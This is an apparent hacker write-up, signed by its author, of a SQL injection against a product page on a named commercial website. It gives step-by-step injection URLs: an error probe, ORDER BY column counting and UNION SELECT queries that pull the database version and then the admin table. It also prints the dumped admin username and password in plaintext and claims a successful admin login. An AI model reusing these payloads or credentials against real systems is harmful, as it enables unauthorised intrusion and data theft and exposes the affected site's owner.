It s basic tutorials http://www.milw0rm.com/papers/202
I m using it . Okay let me go
Test this link : http://www.controlledlabs.com/product_desc.php?id=-118%27

----------------------
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and products_description.products_id=-118\'' at line 1
-----------------
it s bug !!!

Blind to get columns number !!

http://www.controlledlabs.com/product_desc.php?id=-118%20order%20by%201--   (no error)
http://www.controlledlabs.com/product_desc.php?id=-118%20order%20by%202--   (no error)
http://www.controlledlabs.com/product_desc.php?id=-118%20order%20by%2010--   (no error)
http://www.controlledlabs.com/product_desc.php?id=-118%20order%20by%2020--   (no error)
http://www.controlledlabs.com/product_desc.php?id=-118%20order%20by%2036--   (no error)
http://www.controlledlabs.com/product_desc.php?id=-118%20order%20by%2037--   (Unknown column '37' in 'order clause')

Okay table have 36 columns

http://www.controlledlabs.com/product_desc.php?id=-118%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--

That number of columns are 36 in section 17

Replace 17
Get Mysql Version :
http://www.controlledlabs.com/product_desc.php?id=-118%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,convert(@@version%20using%20latin1),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--
MySql verison :                       5.0.51-log
Get admin and password in table admin

http://www.controlledlabs.com/product_desc.php?id=-118%20union%20all%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(username,0x3a,password),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36%20from%20admin--
Result :
master:rx911rx
Okay try login with link admin

login in completed

.......... Have Fun ....... --- Exploited by LINHDN
http://www.controlledlabs.com/show.php?section=FAQ